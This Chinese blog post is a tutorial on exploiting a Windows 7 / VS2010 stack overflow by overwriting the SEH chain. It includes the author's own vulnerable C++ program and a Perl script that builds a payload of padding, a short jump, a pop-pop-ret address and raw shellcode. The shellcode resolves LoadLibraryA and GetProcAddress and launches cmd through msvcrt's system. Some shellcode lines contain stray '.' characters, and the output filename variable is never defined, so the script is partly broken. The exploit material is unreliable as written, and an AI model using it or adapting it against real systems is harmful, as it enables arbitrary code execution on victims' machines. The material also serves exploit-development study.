SEH溢出攻击

环境使用:WIN7 ,VS2010,攻击具有溢出漏洞的程序,其源代码如下

#include "stdafx.h"
#include <windows.h>  
#include<fstream>
#include<iostream>
using namespace std;
int main()
{
HANDLE hLib=LoadLibraryA("D:\\project\\dll\\Debug\\dll.dll");
FARPROC ge=GetProcAddress((HMODULE)hLib,"Msg");


char* file="D:\\text.txt";
char buf[10]={0};
char* fileBuf=NULL;
ifstream in;
in.open(file);
//计算文件大小
in.seekg(ios::beg,ios::end);
int nFileSize=in.tellg();
fileBuf=new char[nFileSize+1];
fileBuf[nFileSize]=0;
in.seekg(0);
in.read(fileBuf,nFileSize);
memcpy(buf,fileBuf,nFileSize);
in.close();
}

我们可以看到,该源代码具有堆栈溢出漏洞,当文件的大小超出10时,便能导致溢出,如果在VS2010下溢出函数返回地址是不可行的,因为VS2010内涵了cookie的溢出检

查,所以我们只能使用覆盖SEH,我们知道有两个项,一个是 NEXT,一个是Handler,所以同时Next在Handler之前如果要覆盖Handler,就必须覆盖Next,使得Handler执行完

毕后,EIP指向堆栈,同时呢,通过溢出我们是可以控制堆栈中的内容的,对吧,这样的话,我们就能控制程序了,(假设DEP是处于关闭状态的),那么我们要怎么做呢,就

是将Handler pop,pop,ret指令串的地址,Next 则是jmp 06,在填充溢出之后则跳转到堆栈中的数据进行执行

这是我做的Perl代码

my $junk = "FFFF" x 14 ;
my $nextSEH="\xeb\x0f\x90\x90";
my $SEH="\x58\x13\xad\x65";
my $shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x60\x9C\x55\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B".
"\xC8\x83\xE8\x08\x8B\x40\x18\x8B\xE8\x8B\x40\x3C\x8B\x44\x05\x78".
"\x03\xC5\x8B\xD0\x8B\x5A\x0C\x8B\xC1\x8B\x00\x03\xDD\xB9\x4B\x45".
"\x52\x4E\x39\x0B\x75\xD9\xB9\x45\x4C\x33\x32\x39\x4B\x04\x75\xCF".
"\xB9\x2E\x64\x6C\x6C\x39\x4B\x08\x75\xC5\x8B\x5A\x20\x03\xDD\x8B".
"\x4A\x18\x51\x53\x49\x8B\x34\x8B\x03\xF5\xB8\x4C\x6F\x61\x64\x39".
"\x06\x75\xF1\xB8\x4C\x69\x62\x72\x39\x46\x04\x75\xE7\xB8\x61\x72".
"\x79\x41\x39\x46\x08\x75\xDD\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B".
"\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x50\x58\x5B\x59\x50\x49".
"\x8B\x34\x8B\x03\xF5\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72".
"\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A\x24\x03\xDD\x66\x8B\x0C".
"\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x8B\xF0\x5B\x5D\x6A".
"\x00\x68\x6C\x6C\x00\x00\x68\x72\x74\x2E\x64\x68\x6D\x73\x76\x63".
"\x8B\xEC\x6A\x00\x55\xFF\xD3\x83\xC4\x14\x6A\x00\x68\x65\x6D\x00".
".\x00\x68\x73\x79\x73\x74\x8B\xDC\x6A\x00\x53\x50\xFF\xD6\x83\xC4".
".\x10\x6A\x00\x68\x63\x6D\x64\x00\x8B\xDC\x6A\x00\x53\xFF\xD0\x83".
".\xC4\x10\x5D\x9D";


open(myfile,">$uitxt") ;
print myfile $junk.$nextSEH.$SEH.$shellcode;

PS:这里面有两项,一是Handler要指向的pop pop ret字符串,其实这也是覆盖EIP的一种方式,当完成后,返回到 Next 执行JMP 6;操作,笔者在进行测试的时候,如果JMP 6

不行的话,就JMP 7,8等等,只里面使用NOP进行填充,就行

只是有一点,pop pop ret,

SEH要有几个弱点,

SEH 不能指向堆栈

SEH 在已加载模块中寻找地址,不能具有safeseh属性,最好的是使用程序中已加载的DLL模块进行查找指令,在进行完pop pop ret之后则认为此次异常处理进行完之后跳转

到Next,JMP 06;这样就跳转到堆栈中了,而现在堆栈是由我们来进行控制的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

世纪殇

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值